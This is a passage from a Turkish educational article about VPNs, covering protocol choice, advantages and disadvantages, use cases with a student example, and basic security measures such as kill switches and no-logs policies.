Bu tünel protokolleri arasında seçim yaparken ayrıca şu özellikler de göz önünde bulundurulmalıdır: • Kimlik doğrulama yöntemi • İşletim sistemi uyumluluğu • Veri gizliliği ve bütünlüğü sağlama yöntemi • Protokolün güvenilirliği ve performansı • VPN bağlantısının kullanılacağı ortamın gereksinimleri ve kısıtlamaları

Tüm bu faktörler değerlendirilerek en uygun tünel protokolü seçilmelidir.

***

### **6.VPN'lerin Avantajları**

VPN'lerin bir dizi avantajı vardır: • Gizlilik ve Güvenlik: VPN'ler, internet trafiğini şifreleyerek kullanıcıların çevrimiçi etkinliklerini gizler. Bu, kullanıcıların çevrimiçi izlenmesini ve bilgilerinin çalınmasını önler. • Engellenen İçeriğe Erişim: Bazı ülkeler veya kuruluşlar, belirli web sitelerini veya hizmetleri engelleyebilir. VPN kullanarak, kullanıcılar bu engelleri aşabilir ve engellenen içeriğe erişebilir. • Coğrafi Kısıtlamaları Aşma: Bazı çevrimiçi platformlar, belirli içerikleri yalnızca belirli coğrafi konumlardaki kullanıcılara sunar. VPN kullanarak, kullanıcılar coğrafi kısıtlamaları aşabilir ve bu içeriğe erişebilir. • Güvenli Wi-Fi Bağlantıları: Halka açık Wi-Fi ağları genellikle güvenlik açıklarıyla doludur. VPN kullanarak, kullanıcılar bu ağlarda güvenli bir şekilde gezinebilir ve kişisel bilgilerinin güvenliğini koruyabilir. • Dosya Paylaşımı ve İndirme: VPN'ler, kullanıcıların dosya paylaşım ağlarında veya torrent sitelerinde daha güvenli bir şekilde gezinmelerini sağlar.

***

### **7.VPN'lerin Dezavantajları**

VPN'lerin bazı dezavantajları şunlardır: • Hız Azalması: VPN'ler, internet trafiğini şifreledikleri için bağlantı hızını azaltabilir. Uzak sunuculara olan bağlantılar, bağlantı hızını daha da azaltabilir. • Güvenilirlik Sorunları: Bazı ücretsiz VPN hizmetleri, kullanıcı verilerini izinsiz olarak toplayabilir veya güvensiz sunucular kullanabilir. Bu nedenle, güvenilir bir VPN seçmek önemlidir. • Maliyet: Premium VPN hizmetleri genellikle bir abonelik ücreti gerektirir. Ücretsiz VPN'lerin bazıları sınırlı hizmet sunar veya reklamlarla desteklenir. • Yasal Sorunlar: Bazı ülkelerde, VPN kullanımı yasaktır veya sınırlıdır. Kullanıcılar, yerel yasalara uygun olarak VPN kullanmalıdır.

***

### **8.VPN'lerin Kullanım Alanları**

VPN'lerin bir dizi kullanım alanı vardır: • İş Güvenliği: Kurumsal kullanıcılar, uzaktan erişim ve güvenli veri iletimi için VPN'leri kullanabilir. • Kişisel Gizlilik: Bireysel kullanıcılar, çevrimiçi gizliliklerini korumak ve sansürlenmiş içeriğe erişmek için VPN'leri kullanabilir. • Dosya Paylaşımı: VPN'ler, dosya paylaşım ağlarında güvenli bir şekilde dosya paylaşmak için kullanılabilir. • Coğrafi Kısıtlamaları Aşma: Kullanıcılar, coğrafi kısıtlamaları aşmak ve yasaklı içeriğe erişmek için VPN'leri kullanabilir. • Torrent İndirme: Kullanıcılar, anonim olarak dosya indirmek ve paylaşmak için VPN'leri kullanabilir.

**Bir örnekle açıklayalım;** Bir öğrenci, üniversitede kampüs içinde ve dışında internete erişim sağlamak istiyor. Ancak, kampüs içindeki internet erişimi genellikle sınırlı veya belirli sitelere erişim engelli olabilir. Ayrıca, kampüs dışında ise halka açık Wi-Fi ağlarını kullanmak güvenlik riskleri taşıyabilir. İşte VPN kullanımının bu durumdaki faydaları: Öğrenci, kendi kişisel bilgisayarında veya mobil cihazında bir VPN istemcisi kurar ve güvenilir bir VPN sağlayıcısından hizmet satın alır. Ardından, kampüs içinde veya dışında internete bağlandığında, VPN istemcisini kullanarak VPN sunucusuna güvenli bir bağlantı kurar. **Bu sayede öğrenci şu avantajlara sahip olur:** • Engellenen İçeriğe Erişim: Kampüs içindeki internet erişimindeki kısıtlamalardan kaçınmak için VPN kullanarak, öğrenci engellenen sitelere erişebilir. Örneğin, sosyal medya veya belirli web sitelerine erişim engellense bile VPN kullanarak bu kısıtlamaları aşabilir. • Güvenli Halka Açık Wi-Fi Kullanımı: Kampüs dışında veya halka açık alanlarda Wi-Fi ağları genellikle güvenlik açıklarıyla doludur. VPN kullanarak, öğrenci Wi-Fi ağına güvenli bir şekilde bağlanabilir ve çevrimiçi etkinliklerini koruyabilir. • Çevrimiçi Gizlilik ve Güvenlik: VPN kullanarak internet trafiğini şifreleyen öğrenci, çevrimiçi etkinliklerini gizli tutar ve kişisel bilgilerinin güvenliğini sağlar. Bu, çevrimiçi takipçilerin veya potansiyel saldırganların öğrencinin faaliyetlerini izlemesini engeller. • Uzaktan Erişim: Öğrenci, kampüs dışında veya seyahat halindeyken üniversitenin kütüphane veya diğer kaynaklarına uzaktan erişim sağlayabilir. Bu, öğrencinin akademik çalışmalarını sürdürmesine ve kaynaklara kolayca erişmesine olanak tanır. • Torrent İndirme ve Dosya Paylaşımı: Öğrenci, VPN kullanarak güvenli bir şekilde dosya paylaşabilir veya torrent indirebilir. Bu, mahremiyetini korur ve çevrimiçi aktivitelerini izinsiz gözetlemeyi önler.

***

### **9.VPN'lerde Güvenlik Önlemleri**

VPN kullanırken aşağıdaki güvenlik önlemlerine dikkat etmek önemlidir:

• Güvenilir bir VPN Hizmeti Seçin: Güvenilir bir VPN sağlayıcısı seçmek, veri güvenliğini sağlamanın ilk adımıdır. • Güçlü Şifreleme Kullanın: VPN hizmeti, güçlü bir şifreleme protokolü kullanmalıdır. Örneğin, OpenVPN veya IKEv2 gibi protokoller güvenli bir iletişim sağlar. • Kayıt Tutulmaması Politikası: VPN sağlayıcısı, kullanıcı trafiği hakkında günlük tutmamalı veya kullanıcı aktivitesini takip etmemelidir. • Kill Switch Özelliği: Kill Switch özelliği, VPN bağlantısı kesildiğinde internet trafiğini otomatik olarak durdurarak kullanıcı gizliliğini korur. • Düzgün Güncelleme ve Bakım: VPN sağlayıcısı, altyapılarını düzenli olarak güncellemeli ve bakımını yapmalıdır.

Sonuç olarak, sanal özel ağlar (VPN'ler), çevrimiçi gizlilik ve güvenlik sağlamak, coğrafi kısıtlamaları aşmak ve sansürlenmiş içeriğe erişmek gibi bir dizi avantaj sunar. Ancak, güvenilir bir VPN seçmek ve güvenlik önlemlerine dikkat etmek önemlidir. Kullanıcılar, ihtiyaçlarına ve güvenlik endişelerine uygun bir VPN hizmeti seçmeli ve çevrimiçi etkinliklerini korumak için gerekli önlemleri almalıdır.

{% embed url="<https://github.com/ilaydamese2>" fullWidth="false" %}
Bu yazı İlayda MEŞE tarafından hazırlanmıştır.
{% endembed %}




---

[Next Page](/llms-full.txt/1)

